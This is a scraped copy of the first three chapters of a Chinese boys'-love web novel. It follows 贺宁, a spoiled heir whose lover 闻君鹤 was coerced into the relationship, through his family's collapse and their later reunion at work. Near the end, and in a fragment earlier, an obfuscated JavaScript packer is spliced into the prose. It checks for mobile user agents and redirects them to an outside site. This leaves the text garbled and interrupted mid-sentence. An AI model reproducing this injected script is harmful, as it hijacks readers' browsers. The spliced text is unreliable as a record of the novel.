《万人嫌受和万人迷攻》 1. 闻君鹤,我好像不喜欢你了 贺宁有时候是真的挺让人讨厌的。 他活得太理所当然,仿佛生来就该是世界的中心,所有人都得顺着他的意思来,家里有钱,有权,所以做什么都理直气壮,抢别人男朋友,想不上学就不上学,看不惯谁谁就有麻烦了。 那些围着贺宁转的笑脸,哪些是是冲着贺家的名头,哪些冲着他背后那座金碧辉煌的靠山。贺宁从前不在乎,或者说,他根本不屑于去分辨这些。 他习惯了被簇拥,习惯了被人小心翼翼地讨好,以至于从未想过,如果有一天,这些虚假的奉承全都消失,他会是什么样子。 但没人真正喜欢他,真的。 直到贺家出事。 周遭人对他的评价劈头盖脸地朝他砸过来。 原来在别人眼里,他不过是个仗势欺人的蠢货,是个没人真心待见的可怜虫。那些曾经赔着笑脸的人,现在连装都懒得装了,看他的眼神里的讥讽明晃晃的。 贺宁对闻君鹤是一见钟情。 那场见面,很多年后他仍然能清晰地回忆起那天的每一个细节,礼堂里闷热的空气,略微嘈杂的环境,窗外刺眼的阳光,座椅上劣质皮革的气味,以及站在台上的那个人。 那是他们高二的时候,当时刚开学,闻君鹤作为学校挖来的优生代表上台发言,当时底下乌压压的都是学生。 闻君鹤穿着规整的校服,袖口却随意地挽起一截,露出线条分明的手腕。他站在话筒前,声音不高不低,带着一点少年人特有的清冽,像是一捧雪水浇在燥热的空气里。 阳光斜斜地穿过礼堂的玻璃窗,落在闻君鹤的侧脸上,睫毛在眼下投出一小片阴影。 而那双眼睛,贺宁从没见过那样的眼睛,像是盛夏午后被风吹皱的湖水,粼粼的,泛着细碎的光,明明平静,却又仿佛藏着无数未说出口的故事。 当时贺宁因为他爸给学校捐了两栋楼,他被邀请坐在第一排。 贺宁这种场合兴致缺缺,他当时前一秒还想着放学后跟孟轩他们出去玩,可当闻君鹤抬眼扫过台下时,视线短暂地和他相撞。 就那一瞬间,贺宁心脏像是被人狠狠攥住,又猛地松开,好像血液轰然冲上耳膜,连呼吸都滞了一拍。 他就那么喜欢上他了,毫无预兆,也毫无道理。 闻君鹤是那种天生就该站在光里的人。 他生得好看,不是那种浮于皮相的漂亮,而是骨相里透出的清峻,眉眼如墨,轮廓分明。 聪明,勤奋,性格也好,所有人都喜欢他。 唯一的缺憾是他太穷。 孤儿,跟着姑姑长大。 大概是贺宁看向他的目光太烫了。 那天在礼堂,闻君鹤念完最后一段发言稿,抬眼时不经意对上了第一排那道灼人的视线。 贺宁正盯着他,眼神里带着毫不掩饰的专注,像烈火撞上寒冰。仅仅一瞬,闻君鹤就别开了脸,可那目光的余温却仿佛烙在了皮肤上,挥之不去。 贺宁想要得到闻君鹤。 孟轩很快查清了闻君鹤的底细,他告诉贺宁,这世上没有钱买不到的东西,如果有,那就是价码不够高,闻君鹤那么穷,不会拒绝的。 贺宁拿起那份调查看,查得很细,闻君鹤和姑姑一家挤在一套二居室,五十平米不到,姑姑是服务员,姑父是搬运工,供养着闻君鹤和他们自己的孩子。 还有一张照片,闻君鹤放学后去接表弟,男孩趴在他背上,他单手托着小孩,另一只手还拎着晚上要做的菜。 贺宁盯着那张照片看了很久。 他见过闻君鹤在主席台上演讲时挺拔如松的样子,见过他在篮球场跃起投篮时衣摆翻飞的瞬间,却第一次见到这样的闻君鹤,背着两个书包,穿梭在街市里,肩线微微塌着,不是疲惫,而是一种习以为常的承担。 于是有次放学,贺宁在走廊尽头堵住了闻君鹤,贺宁表情认真,双手递给闻君鹤一张银行卡。 别人表白是递情书,贺宁是最特殊的一个。 “闻君鹤,我想让你当我男朋友。” 空气凝固了一秒。 闻君鹤嘴唇微抿,眼底翻涌着某种尖锐的、刺痛的东西,不是羞怯,而是赤裸裸的愤怒与耻辱。 “滚。” 贺宁被拒绝得很狼狈,没脸同人讲。 后来孟轩知道以后,当时听说后带人去骚扰威胁过闻君鹤。 孟轩和贺宁算是一起长大,小时候孟轩救过贺宁,因为贺闳兴提拔了孟父,他整天都围着贺宁。 具体说了什么贺宁后来才知道,无非是些“别不识抬举”“贺少看上你是你的福气”之类的混账话,最后还撂了句威胁。 闻君鹤找到贺宁,非常愤怒。 贺宁才知道跟班做的事,可那个时候闻君鹤认定就是贺宁派人做的。 “有意思吗?派人来恐吓我?贺宁,你这种人懂什么是喜欢?” 他张了张嘴想解释,可闻君鹤已经转身走了,连个辩解的机会都没留给他。 贺宁也很郁闷,觉得孟轩根本就是胡说八道,他开始正儿八经追人,送早餐、等放学,他这辈子没这么低声下气过。可闻君鹤连个眼神都懒得给他,偶尔视线相撞,那目光也冷得像在看什么脏东西。 直到那个傍晚。 贺宁看见闻君鹤跟他一个很讨厌的人在学校树林里说话。 闻君鹤背对着他站着,对面是韩卿,那个总爱找贺宁麻烦的学生会副主席。这人戴着副细框眼镜,表面上一本正经,检查纪律时却专盯着贺宁挑刺,领带歪了点要记名,头发长了一厘米要扣分。 背地里没少给他使绊子。 两人靠得很近,贺宁还没反应过来,就见韩卿突然凑过去,在闻君鹤脸上亲了一口。 “你们在干嘛?!” 他冲出去的瞬间脑子一片空白,闻君鹤转过头,黄昏的光线里,他嘴角居然带着一丝若有若无的笑,那是贺宁没见过的表情。 贺宁最讨厌韩卿,没想到韩卿也喜欢闻君鹤。 贺宁早就认定了闻君鹤是自己的人,他一把拽住闻君鹤的胳膊,手指死死他的手腕:“他干嘛亲你?” 闻君鹤的皮肤很凉,像他这个人一样,连皱眉的样子都好看得过分:“贺宁,松开我。” 韩卿推了推眼镜,镜片后的目光带着胜利者的得意:“君鹤已经答应了我的追求,贺宁,你有点自知之明吧。” 贺宁气不过,他从小到大要的东西,还没有要不到的。 他晚上回去不吃晚饭,把自己关在了房间里,生闷气,谁来劝都没用,家里的佣人一直说着小少爷把身体饿坏了怎么办,于是他喜欢闻君鹤这件事被他爸知道了。 贺闳兴让人打开他的卧室门,揉着贺宁的头,少年人的发丝细软,他无奈说:“小孩子脾气,饭还是要吃的。” 贺宁坐在床沿,眼眶泛红,委屈说:“爸爸,明明是我先喜欢他的。” 贺闳兴俯身,拇指擦过儿子湿润的眼角,挑眉,语气里带着几分新奇:“真哭了,这么喜欢?” 贺宁用力点头。 当天晚上贺父一个电话,第二天韩家父子就登门道歉来了。韩卿站在客厅里,对方那双总是透着精明的眼睛此刻通红。 贺宁看看韩卿,问他还跟他抢人吗? 韩卿红着眼睛看着他,垂眸说不抢了。 贺闳兴倚在真皮沙发上,懒散地陷在沙发里玩打火机,火苗忽明忽暗映在那张养尊处优的脸上,他漫不经心地转着金属外壳。 没过多久他起身,宽厚的手掌同时按在两个少年头顶,力道不轻不重地揉了揉,讲和的语气说:“都是同学,以后可要好好相处。” 贺闳兴对贺宁的宠爱是摆在明面上的。男人正值盛年,权势滔天,西装革履下包裹着精悍的身躯,光是站在那压得人不敢多言。 韩父立即弓着腰连声应和,都是小孩子之间的打闹,额头渗出细密的汗珠。 贺宁从小就是在这样的庇护下长大的。 母亲早逝,贺闳兴这些年既当爹又当妈,把儿子宠得无法无天。 贺宁小时候三天两头往医院跑,贺闳兴直接住在了医院。过去厚厚一沓病历,记录着这个金贵少爷娇气的成长史。 后来闻君鹤居然真的答应跟贺宁在一起了,贺宁那天晚上他躺在床上翻来覆去睡不着,把手机屏幕按亮又熄灭,反复看着那条“好”的回复,生怕是自己看错了。 他们在一起四年,分分合合折腾了无数次。 每次吵架都是贺宁先低头,从最开始摔门就走的大少爷,变成能蹲在闻君鹤宿舍楼下等一整夜的人。他学会了做饭,虽然经常把厨房搞得一团糟,也收敛了脾气,虽然偶尔还是会控制不住摔东西。 国内并不承认同性婚姻,大三那年,贺宁自己办了个婚礼,请了自己的同学和闻君鹤的同学,比起贺宁的全情投入,闻君鹤好像一个聘请来的毫不入戏的演员。 交换戒指时闻君鹤慢了半拍,接吻时也只是轻轻碰了下贺宁的嘴角。 其实从那个时候贺宁就知道闻君鹤不喜欢他的。 他从来不喜欢贺宁出现在他身边,不允许他参与他的朋友圈,嫌弃他是个不学无术的富二代,不收他的礼物,那些精心挑选的礼物,从限量球鞋到新款手表,都被原封不动地退了回来,连包装都没拆开过。 可那个时候贺宁并不在乎,他相信有一天闻君鹤一定被他感动喜欢他的。 婚礼那天,他踮起脚尖去吻闻君鹤的时候,清楚地看到对方闭上了眼睛,那两秒钟的迟疑像刀子一样扎在心上,但他还是吻了上去。 婚礼现场的观众们在短暂的沉默后,由贺闳兴拍手开始,就响起了掌声。 那个时候贺宁觉得自己是最幸福的人,满地的浅蓝色鲜花和气球,丰盈的绿色草坪和美味的蛋糕,开明的父亲,帅气的男朋友。 哪怕对方的表情始终淡淡的,贺宁还是觉得这就是幸福该有的样子。 贺宁的朋友圈永远是吃喝玩乐,直到某天清晨,法警的封条突然贴满了贺家别墅的每一扇门,一朝幸福被打破。 贺家所有财产都被查封,他爸锒铛入狱,以前跟他们要好的亲戚都躲之不及,曾经和贺宁好得不行的朋友直接把他删了,甚至学校里也有风言风语。 曾经巴结他的学生会干部现在故意在走廊上大声讨论“贪官儿子”的下场。 贺宁站在厕所隔间里,听见外面的人笑着说:“听说他那个男朋友也是花钱买的?现在没钱了,估计马上就要被甩了。” 贺宁看着闻君鹤那双不掺杂任何情感的、冷静得几乎淡漠的眼睛时。 没有怜悯也没有厌恶,就只是这么看着他。 贺宁突然有种他连闻君鹤都会失去的预感。 两个月前贺父就安排好了退路,机票、签证、海外账户,连闻君鹤的留学手续都一并办妥了。可贺宁死活不肯走,在书房和父亲大吵一架,现在想来,贺闳兴当时疲惫的眼神里,或许早就写满了无可奈何的预兆。 贺宁来不 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“我当然是来看笑话的,你何不去问问你那大牢里的父亲,他当初威胁着君鹤和你在一起,多少次君鹤受不了你的脾气,想跟你分手,都是你那位好父亲大人替你施压。” 贺宁说:“……你在说什么?” 韩卿拿出手机,在他面前播了一段音频。 大概是闻君鹤有些醉了,有人劝他少喝点。 “醉了就不用面对那个神经病富二代的纠缠……他那种人一辈子都不会有人愿意跟他在一起。” 录音里突然插入另一个人的声音:“他对你还是挺不错吧。” 紧接着是玻璃杯重重砸在桌上的闷响,闻君鹤说:“恶心死了,他整个人都恶心死了。” 贺宁只觉得浑身的血液都快冻住了,突然韩卿从口袋里拿出一个药瓶,倒出一粒药片在掌心,嘴角挂着讥诮的弧度:“你见过吗?” “君鹤每次跟你上//床前是不是都得吃一颗。” “不吃药的话,他看见你,怎么硬//得起来?” 那晚贺宁抱着腿坐在沙发上,旁边只有一盏灯,灯光很暗,把他半张脸埋在腿里。 钥匙转动的声音突然打破了屋里的寂静。 闻君鹤推门进来,看到沙发上的贺宁时明显怔了一下。 “怎么还没睡?”他边换鞋边皱眉问道,声音里带着疲惫。 昏暗的灯光下,贺宁的脸隐在阴影里看不清表情。 “你吃过了吗?”他听见自己平静的声音。闻君鹤扫了眼厨房里原封不动的饭菜,碗筷整齐地摆着,连保鲜膜都没撕开。 “在外面吃过了,你没吃吗?”他脱下外套挂上衣架,动作自然得像往常一样。 贺宁摇摇头说不饿,他盯着闻君鹤的手指看了几秒,突然问他给他那枚戒指呢?之前不是戴得好好的吗? 闻君鹤愣了愣,说他明天去找,贺宁微微垂眼,心想这么快就迫不及待地扔掉了吗? 以前闻君鹤也不喜欢戴,每次都是贺宁提醒他,后来戒指还是没找到,贺宁也没提醒过。 贺宁那天站起身仰起头去亲吻闻君鹤,他第一眼就喜欢这个人,他用尽招数去讨好他。 可闻君鹤没任何反应,那张冰冷而精致的脸庞露出了一抹厌恶之色:“贺宁,不被男人*,你会死吗?” 贺宁被闻君鹤扔在床上,君鹤说出去拿个东西,门没关严。 贺宁看见他站在客厅,从口袋里掏出那个熟悉的药瓶,倒出一粒白色药片,就着冷水咽了下去。 药瓶和韩卿给他看的一模一样。 那晚贺宁在闻君鹤身下颤抖得不行。 闻君鹤以为他是兴奋的,其实贺宁是在哭。 窗外的月光冷冷地照进来,照出两个交叠的身体,一个在发泄,一个却在无声地崩溃。 闻君鹤最喜欢的姿势是后//入。 贺宁如今才明白是不想看见他这张脸吧。 后来,他们还是走到了分手这步。 闻君鹤当时以优异的成绩申请到了公费留学,贺宁因为贺闳兴的原因被限制出境。 他让贺宁到时候出国来找他,他不想念书就先休学,贺宁让他先走,他等他父亲的判决下来,就会去找他。 后来闻君鹤去了两三个月里,很忙,隔着十二小时的时差,联系变得越来越少。 有时贺宁发过去的消息要隔好几天才能收到回复,视频通话时闻君鹤总是满脸倦容,背景是堆满资料的写字台。 通话记录从每天一次变成每周一次,最后大半个月都不联系。 有时候贺宁跟他一周都说不上话。 闻君鹤站在异国的公寓窗前,指尖夹着烟,烟灰积了长长一截。他问贺宁,贺闳兴的判决什么时候下来。 贺宁说还在等,电话那头就嗯了一声,闻君鹤说等限制解除就给他买机票。 窗外霓虹闪烁,车流像一条发光的河。 贺宁盯着玻璃上自己的倒影,忽然觉得有点陌生。 可是闻君鹤没等来贺宁本人,却等来他的越洋分手电话。 闻君鹤在那头声音近乎漠然:“贺宁,你确定要讨论分手?” 贺宁掐着自己的手臂,指甲深深陷进肉里说:“……闻君鹤,我好像不喜欢你了……我们还是分手吧,再见。” 这些年辛苦你了。 窗外不知什么时候下起了雨,雨滴打在玻璃上,模糊了对面楼的灯光。 贺宁坐在黑暗里,等手机屏幕慢慢暗下去,最后彻底熄灭,他把电话卡扣出来了。 2. 那是小贺对象 五年后。 贺宁陪着一位雇主去医院打胎,他拿着检查报告。 旁边坐着个二十出头的女孩,指甲油剥落得斑斑驳驳,耳朵上穿着好几个耳洞。 贺宁在陪诊平台上注册两年了,假期偶尔接单,陪人看病、拿药、或者像今天这样,或者来陪着来做手术。 这些年,他陪过拄拐杖的独居老人,对方一路上絮絮叨叨讲着儿女在国外如何出息,太忙了实在是回不来;陪过发高烧的女实习生,那孩子在输液室边哭边改PPT,最后靠在他肩上昏沉睡去;还陪过刚做完化疗的阿姨,非要塞给他一袋自己做的咸菜,说比外面买的好吃。 贺宁学会在适当的时候递纸巾,在沉默太久时抛出个不痛不痒的问题,在对方欲言又止时假装看手机。 有时候陪着陪着,对方突然就哭了,贺宁就安静地坐着,等那阵情绪过去。 一个人去医院是件很孤独残忍的事,贺宁看到他们的时候,就想起自己以前。 女孩进手术室前一直很紧张,贺宁于是去给她倒了一杯热水,安慰她说很快的。 女孩握着热水,眼妆有些晕开,在眼下洇出两道灰痕,有些神经质地反复问道:“你不会离开的对吗?” “当然,这是我的工作,我会在外面等你,不然可以给我差评。” 贺宁账号上好评很多。 女孩苍白的脸上终于露出一丝笑意:“平台评价里都说你特别靠谱,我翻了好久才选到你。” 她攥着病历本的手指稍微放松了些。 贺宁接过她的挎包,看着护士把人送进手术室。 转身时余光瞥见走廊尽头的人影,他本能地要去坐椅子,动作却突然僵在半空,仿佛被什么无形的东西钉在原地。 他抬起头,第一反应是自己出现幻觉。 走廊顶灯白得刺眼,可第二眼看过去,那张脸分明就是闻君鹤。 黑色风衣的领口挺括,衬得肩线越发凌厉,比五年前更显成熟的面容上看不出任何情绪。 闻君鹤站在那里,像幅被强行嵌入现实的画,与周围经过的路人、推着轮椅的护工格格不入。 他就那么站着,手插在风衣口袋里,肩膀微微绷着。 谁知道分手后时隔几年,他和闻君鹤再见面是在手术室前。 还是在流产手术室前。 他当初第一眼见闻君鹤,就觉得他英俊好看过了头。 好看到他做梦都想得到他。 闻君鹤五官阔挺,眉眼精致,鼻梁挺直,嘴唇有些薄,贺宁以前无论亲多少次都觉得有些凉。 走廊里的白炽灯刺得人眼睛发涩,消毒水的气味凝滞在空气里,像一层看不见的膜。 两人谁都没有说话。 突然一道高跟鞋声打破了死寂。 “君鹤?”穿着米色长裙的女人从拐角走来,很自然地叫闻君鹤的名字,“你怎么跑这了?主任还在等你,走吧。” 她扫了眼手术室亮着的灯,又看了看贺宁,眼神里带着礼貌的疑惑。 闻君鹤干脆利落地后退一步,转身离开。 女人跟在他身侧,小声说着什么,闻君鹤微微点头。 闻君鹤的背影挺拔冷硬,皮鞋踏在地砖上的声音清晰得几乎刺耳,一下一下,直到彻底消失在拐角。 贺宁盯着那空荡荡的走廊发愣,看着他们消失,才发觉自己后背的衬衫已经汗湿了一片,手指无意识地摩挲着口袋里皱巴巴的缴费单。 直到护士推门出来,他才猛地回神,看见女孩被搀扶着走出来,脸色白得像纸,嘴唇也失了血色。 护士说了注意事项,开了药。 贺宁沉默地扶她在医院大厅坐下,叫了辆车,等车到了才半搂半扶地带她出去。风很凉,女孩的指尖在他掌心发抖。 送女孩回去的路上,司机开到一半时,她突然崩溃,眼泪大颗大颗往下砸,声音哑得不成样子:“你会不会觉得我……很不自爱?” 贺宁伸手把纸巾递过去,语气平静:“没有。” 贺宁把女孩送到家门口,楼道里的灯接触不良,一闪一闪地晃眼睛。女孩扶着墙慢慢挪进去,他站在门外说了句“以后自己多注意安全”。 他也没什么资格指点别人的人生,光是他那些往事说半个字都觉得丢人,他自己的人生就一团乱,爱情观也一塌糊涂,总是被人嫌弃。 下楼冷风吹得人头疼,贺宁摸遍全身没找到烟,倒是摸出张皱巴巴的医院收据。 贺宁有些天马行空地想,要是自己是个女的,估计早被闻君鹤搞大肚子好几回了。他从来不带套,而且闻君鹤不喜欢他,估计也不会心疼他的身体。 而他又卑劣地渴求闻君鹤跟他在一起,估计什么也愿意。 贺宁在便利店买了包最便宜的烟,坐在一旁的台阶上抽。尼古丁的味道冲进肺里,他呛得直咳嗽,又把烟扔进了垃圾桶。 陪人看病是他只有周末休息才会做的工作,他前几年经常跑医院,几乎把这里当第二个家,挂号、缴费、取药,每个流程都熟得能背出来。 那些独自坐在候诊区的人,攥着病历本的手指发白,眼神茫然地盯着叫号屏,那种孤独感他比谁都懂。 他现在一家科技公司做美术设计,朝九晚六,他的大学学业也是磕磕绊绊才完成的,他休了一年的学,直到认识他的人都毕业,他才偷偷回去把最后的课休完。 他总坐教室最后一排,下课铃一响就低头往外冲,生怕有人看见他问“怎么是你”。 毕业照他没去拍,学位证是单独去教务处领的,装在文件袋里轻飘飘的,像张假证。 公司最近在谈收购的事,茶水间里人心惶惶,贺宁倒觉得无所谓。反正都是打工,换个老板照样拿工资,对他来说没什么差别。 周一晨会前,他咽了半块干巴巴的全麦面包就往会议室走。 听说今天新调来的执行副总到任。直到推开门的瞬间,熟悉的声音从前方传来,闻君鹤穿着挺括的西装,正低头和总助说着什么,袖扣在灯光下泛着冷光 他感叹这个世界也太小了。 分手五年的前男友,现在成了他的领导。 整个会议他都在走神,手指无意识地在笔记本上划着无意义的线条。闻君鹤的声音在会议室里回荡,低沉冷静。 散会后林珂撞了撞他肩膀:“不像你啊,以前连会议纪要都做得工工整整,今天连头都不抬?” 贺宁合上空白的笔记本,扯了扯嘴角:“昨晚没睡好。” 同事总笑贺宁像个小学生,什么无关紧要的事都要记下来,连WiFi密码都要记在便签上。 开会时他总低着头写写画画,把别人随口说的闲话也工工整整记下来,没人知道他手术后,记性就像漏水的筛子,上周刚见过的客户名字,昨天才修改的设计稿参数,说忘就忘。 所以他自己发明了一套记忆方式。 手机里设了十几个闹钟:早上吃药,中午订餐,下班前交稿,便利贴贴满他的床头。备忘录里密密麻麻记着下班买牙膏,交物业费这种琐事。 两年前出院时医生说过,这种记忆损伤可能会伴随终生。 不过真奇怪,他偏偏忘不掉闻君鹤的事,再看到他,心还是会痛。 以前他身边有闻君鹤,总是会提醒他考试,课表,出门不要落什么东西,如今他只有自己。 贺宁说“没什么可记的”就准备出会议室,耳边传来同事们压低声音的议论。 他们说闻君鹤是猎头花大价钱挖来的,说他在国外顶尖学院拿的学位,说公司为他开出了怎样惊人的条件。 闻君鹤是在一场三年前那场跨国并购案出名的,闻君鹤操盘的手法狠辣老练,连一帮金融圈老油条都惊得直咂舌。 茶水间的同事还在八卦闻君鹤的履历,说他在伦敦金融城如何一战成名。 贺宁还记得某本财经杂志的专访里,记者问过闻君鹤择偶标准,闻君鹤说更看共同话题,有人说他是智性恋。 当晚贺宁就搜了“智性恋”的定义,盯着百科词条,他想自己高中不及格简直是家常便饭,大学挂过科,毕业论文勉强及格,这辈子怕是连闻君鹤的择偶门槛都够不着。 难怪闻君鹤对他硬不起来。 贺宁看着闻君鹤一点点离自己越来越远,变得越来越触不可及,好像只有自己留在原地。 贺宁的人生在大三那年像道分水岭,前半段人生泡在蜜罐里,后半段全是玻璃渣。 下午公司临时通知聚餐,贺宁本来不想去,但组长特意点了他的名。他故意磨蹭到最后才下楼,和财务部一个不熟的同事被剩下了。两人站在写字楼门口大眼瞪小眼,贺宁正盘算着找借口溜走,一辆黑色轿车突然停在他们面前。 车窗降下来,闻君鹤面无表情地说:“上车吧。” 贺宁站在原地暗自心想,他怎么每次都这么倒霉。 贺宁能感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进了餐厅,贺宁才发现自己动作又晚了一步,只留下三个人的位置。 餐厅里人声嘈杂,只剩三个挨着的空位。贺宁动作快半拍,他非常没有风度,眼疾手快拽了把椅子,把那个女生安排在了闻君鹤旁边。整顿饭他都埋头苦吃,直到经理举杯致辞才勉强抬头。 同事们一个个去给闻君鹤敬酒,轮到贺宁时,他盯着酒杯里晃动的液体,干巴巴地说了句:"闻总,欢迎。" 闻君鹤对其他人都是和颜悦色地说了声谢谢,看着贺宁的时候,就是用一种打量的目光看着他,经理大概也没想到闻君鹤是这个态度。 徐经理连忙说了一句:“小贺,你不开车吧,多敬闻总一杯酒吧。” 闻君鹤:“他坐我车来的。” 一杯酒对于贺宁来说不算什么,但他觉得面对闻君鹤很窒息,是不是以前闻君鹤面对他的时候也是这样。 就算闻君鹤为难他,他也觉得很正常,这让贺宁想起一件旧事,他当初带着闻君鹤回家,他爸也曾给闻君鹤下过面子,那时候他大概也是这种如坐针毡的感觉吧。 他以前一直认为闻君鹤是被他的诚心感动才跟他在一起,后来他才知道是他爸私底下威胁的闻君鹤,用他姑姑一家人的安危。 他怎么敢奢求闻君鹤会有一点喜欢他。 贺宁紧紧攥着酒杯:“闻总,我敬你。” 说罢就一口喝完了,贺宁喉咙烧得发疼,闻君鹤一直镇静地看着他,然后说了一句:“无趣。” 贺宁后半场饭也吃不下,他有点酒精过敏,没过多久只觉得身上痒得很,这几年贺宁开发出很多过敏。 他给周纪发了消息,等饭局结束,各自都回去,贺宁脱离大队伍往另外一边走去。 闻君鹤的目光一直追着贺宁,看着他快步走向停车场那辆普通的黑色轿车。 车窗滑下来时,隐约能看见驾驶座的男人侧脸。 徐经理顺着他的视线看过去,闻君鹤开口问:“那是谁?” 有个同事开口道:“哦哦,那是小贺对象,来接他了,两人可好了。” 闻君鹤:“对象?” “对,他男朋友好像就在我们公司不远工作,两个人据说现在在一起攒钱买房呢?学艺术的果然大部分都是弯的。” 3. 他在闻君鹤这里,也是终审无期 徐经理看着闻君鹤站在原地没动,忍不住又喊了声:“闻总?不走吗?” 月光打在闻君鹤半张侧脸上,投下斑驳的光影,他突然低声说了句:“原来有些人说的永远也只是说说而已吧。” 贺宁有想过要辞职,不想和闻君鹤见面,不能在同事面前露出异样。 这两件事都太考验他了。 每天在电梯间、会议室和闻君鹤打照面完全就是家常便饭,茶水间里天天有人八卦新来的执行副总时。 昨天中午午休的时候,贺宁会躲在安全通道里抽烟,结果一出来就碰到了闻君鹤。 天台顶楼。 这是贺宁和周纪的秘密地点。 贺宁打开便当盒,把周纪那份推到他面前,拿着筷子戳着鸡腿说:“辞职和留下来,这两件事都对我太残忍了。” 周纪专注低头吃饭,他在隔壁当程序员,最近提出想食补养发,所以贺宁已经给他做了一周的养发菜单。 周纪建议说:“那不如你直接跳槽吧。” 他说话时腮帮子还鼓着,像只屯粮的仓鼠。 贺宁低头扒拉着饭盒里的米饭,声音闷闷的:“现在工作哪有那么好找。” 况且这家公司待遇已经很不错了。 周纪推了推滑到鼻梁上的眼镜:“你说他很镇定,我觉得是不是你想太多了,说不定他根本就不想跟你计较了。” 贺宁被噎住:“啊。” 周纪忽而由衷地道:“按你说的,他那么理智一个人,最烦的不就是纠缠不清吗?最好的处理方式就是当你不存在,你们那段过去他不太……喜欢,他最好的做法当然就是不给你眼神,除非你又贴上去。” 贺宁连忙否认道:“我当然不会!” 周纪说:“那不就行了,这就像是他过去踩中了一团狗屎,你不能指望他又踩一次吧。” 他瞥了眼贺宁发僵的表情,继续开口道:“再说他现在有身份有地位,跟你扯上关系对他有什么好处?你不是说他为人挺正派吗,总不至于特意来为难你,你调整好自己心态就行了。” 贺宁也不知道自己居然能跟狗屎比较在一起。 周纪这个比喻虽然难听,但意外地准确。 闻君鹤从来都很受周围人的喜欢,反观贺宁,还真是人缘差到极致。 他爸被国家判无期,他在闻君鹤这里,也是终审无期。 其实贺宁也知道是自己在别扭,闻君鹤绝对不会怎么为难他的,他相信他的人品,可贺宁暂时调理不过来。 吃完饭后,这次就是贺宁负责收拾饭盒,两人下了电梯,周纪给他鼓励说:“就让那段往事就让它随风散去吧,专心工作,我明天想吃炒猪肝。” 贺宁于是自己握了握拳头,想起什么,抱着饭盒又追了上去:“不行,呆会去买食材都是不新鲜的。” 周纪拍了拍他的肩:“那你定菜单吧,小厨娘。” 贺宁转身时没注意身后有人,怀里抱着的两个饭盒“砰”地撞上来人胸口。酱汁从没盖紧的盒缝溅出来,在闻君鹤雪白的衬衫上洇开一片刺眼的油渍。贺宁脑子里嗡地一声,只剩下“完了”两个字在不断回响。 走在闻君鹤身边的荀秘书也吓了一跳。 跟在闻君鹤身边的荀秘书倒吸一口冷气。贺宁抬头看向闻君鹤的脸,所有的情绪像被扎破的气球,瞬间瘪下去,只剩下空荡荡的无措。 他觉得自己很无能、很笨,总是做一些让人厌烦的事。 闻君鹤的表情没有变化,仿若全然不曾被冒犯,只低头看着那一团污渍的地方,突然叫贺宁的名字说:“把东西放下,你跟我走。” 贺宁于是下意识问:“去哪?” 闻君鹤:“你觉得我要穿着这衣服一天吗?” 贺宁于是连忙跟了上去连忙道:“公司过两个红绿灯前面有个商场,那里就有男装专柜。” 闻君鹤走向停车场,贺宁别扭地跟在他身后,直到他启动车子,按了一声喇叭,贺宁才开门坐在了后座:“……出停车场右转,然后直走几百米……” “前面来。” 贺宁:“……我给你指路。” “我是你司机吗?” 贺宁坐进副驾驶,低头点开导航。闻君鹤已经开出地下车库,他捧着手机递过去,屏幕亮着路线图。闻君鹤扫了一眼就移开视线,贺宁只好收回手。 “没记住。”闻君鹤说。 贺宁于是又捧了过去,心里却想着,闻君鹤以前记忆力一向很好的,甚至到达了过目不忘的地步,刚才根本没仔细看吧。 等看见了商场,贺宁把手机放下来,跟着闻君鹤下了车,他把闻君鹤带进了一家衬衫店,这个牌子跟闻君鹤穿的差不多价位,店员热情地迎上来。 贺宁心里正在为待会要出的一笔钱肉疼,这里两件衬衫的标价加起来差不多抵他半个月工资。 闻君鹤倏地转身,抬手解开袖扣,抬了抬下巴指贺宁说:“他给我选。” 以前他最爱干的事就是给闻君鹤买衣服,从内搭到外套都亲自挑选。虽然十次有八次闻君鹤都不会穿,但他还是乐此不疲。 不过大多时候,闻君鹤不会穿他给他买的东西。 贺宁随手挑了两件衬衫,尺码估摸着不太对,他早就忘了闻君鹤的尺寸,现在不过是随便选的,不过他能肯定不合身。 他觉得周纪说得没错,他不能表现得有一点要黏上去的想法,那样实在太恶心人了。 现在他故意选错尺码,就是在证明自己真的已经不在意了。 闻君鹤这个人脾气真的很好,是个很好的人。 可惜不属于他了。 贺宁看着他平静地接过那两件明显不合身的衬衫,连眉头都没皱一下就进了试衣间。 试衣间的帘子轻轻晃动,贺宁坐在等候区的长椅上,目光不自觉地被展示架上一件黑色衬衫吸引,剪裁利落得像专为闻君鹤这种衣架子设计的。他几乎能想象出闻君鹤穿上它的样子,布料会妥帖地包裹住宽肩窄腰。 试衣间的门就被拉开了。 果然不太合身,小的那件闻君鹤递给店员说有点小,大的那件腰身有些松。 闻君鹤突然指着刚才贺宁看的黑衬衫:“麻烦我想要那一件。” 贺宁一愣。 闻君鹤:“不然你刚才在看什么?” 说罢报了个尺码,店员很快就拿了一件过来,贺宁说了句不是,闻君鹤突然开口说:“怎么?想给你那个男朋友买吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900372|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺宁看着闻君鹤,心想自己哪里来的男朋友,想着他无可挑剔的脸孔和昂贵的衬衫都是他再也负担不起的奢侈品,他突然没来由地难过,还有一股无可奈何的不甘心。 “啊,对,我刚才在想我男朋友穿黑色应该挺好看的。” 贺宁想,这下闻君鹤应该会放心了吧,他真的不会再缠着他了。 闻君鹤的眼神突然变了,像平静的海面下暗涌的漩涡。 贺宁在他身上感受到了愤怒与压抑,下一秒闻君鹤甚至当着身边有旁人的情况质问他,语气令人咂舌地刻薄。 “你还是只会这些老把戏?洗衣做饭,死缠烂打,送些华而不实的破烂。”他的声音压得很低,“就你那点工资,够你深情几次?” 贺宁只感觉感觉全身的血液都凝固了。 他曾经以为只要拼命对一个人好,总能换来一点真心。 